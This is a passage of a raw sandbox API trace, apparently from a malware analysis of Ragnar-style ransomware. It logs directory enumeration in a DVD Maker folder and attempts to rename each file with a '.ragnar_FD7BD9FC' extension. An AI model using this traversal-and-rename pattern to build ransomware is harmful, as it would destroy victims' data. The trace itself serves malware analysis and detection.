ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2=".") returned 1 [0079.324] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="..") returned 1 [0079.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0079.324] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81864e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.325] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81864e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.325] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0079.325] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.325] lstrcpyW (in: lpString1=0x1eab56, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0079.325] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png") returned=".png" [0079.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.326] CloseHandle (hObject=0xffffffff) returned 0 [0079.326] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" [0079.326] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ragnar_FD7BD9FC" [0079.326] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0079.326] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.326] lstrcpyW (in: lpString1=0x1eab56, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0079.326] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned=".png" [0079.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.327] CloseHandle (hObject=0xffffffff) returned 0 [0079.327] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" [0079.327] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ragnar_FD7BD9FC" [0079.327] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.327] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0079.327] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.327] lstrcpyW (in: lpString1=0x1eab56, lpString2="16_9-frame-image-inset.png" | out: lpString1="16_9-frame-image-inset.png") returned="16_9-frame-image-inset.png" [0079.327] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png") returned=".png" [0079.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.327] CloseHandle (hObject=0xffffffff) returned 0 [0079.327] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" [0079.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ragnar_FD7BD9FC" [0079.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.328] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0079.328] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.328] lstrcpyW (in: lpString1=0x1eab56, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0079.328] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned=".png" [0079.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.328] CloseHandle (hObject=0xffffffff) returned 0 [0079.328] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" [0079.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ragnar_FD7BD9FC" [0079.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.328] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0079.328] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.328] lstrcpyW (in: lpString1=0x1eab56, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0079.328] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned=".png" [0079.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.329] CloseHandle (hObject=0xffffffff) returned 0 [0079.329] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" [0079.329] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ragnar_FD7BD9FC" [0079.329] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.330] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.330] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.330] lstrcpyW (in: lpString1=0x1eab56, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0079.330] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned=".png" [0079.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.330] CloseHandle (hObject=0xffffffff) returned 0 [0079.330] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" [0079.330] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ragnar_FD7BD9FC" [0079.330] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.330] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0079.330] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.330] lstrcpyW (in: lpString1=0x1eab56, lpString2="button-bullet.png" | out: lpString1="button-bullet.png") returned="button-bullet.png" [0079.330] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned=".png" [0079.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.331] CloseHandle (hObject=0xffffffff) returned 0 [0079.331] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" [0079.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ragnar_FD7BD9FC" [0079.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.331] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0079.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.331] lstrcpyW (in: lpString1=0x1eab56, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0079.331] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned=".png" [0079.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.331] CloseHandle (hObject=0xffffffff) returned 0 [0079.331] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" [0079.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ragnar_FD7BD9FC" [0079.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.331] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: 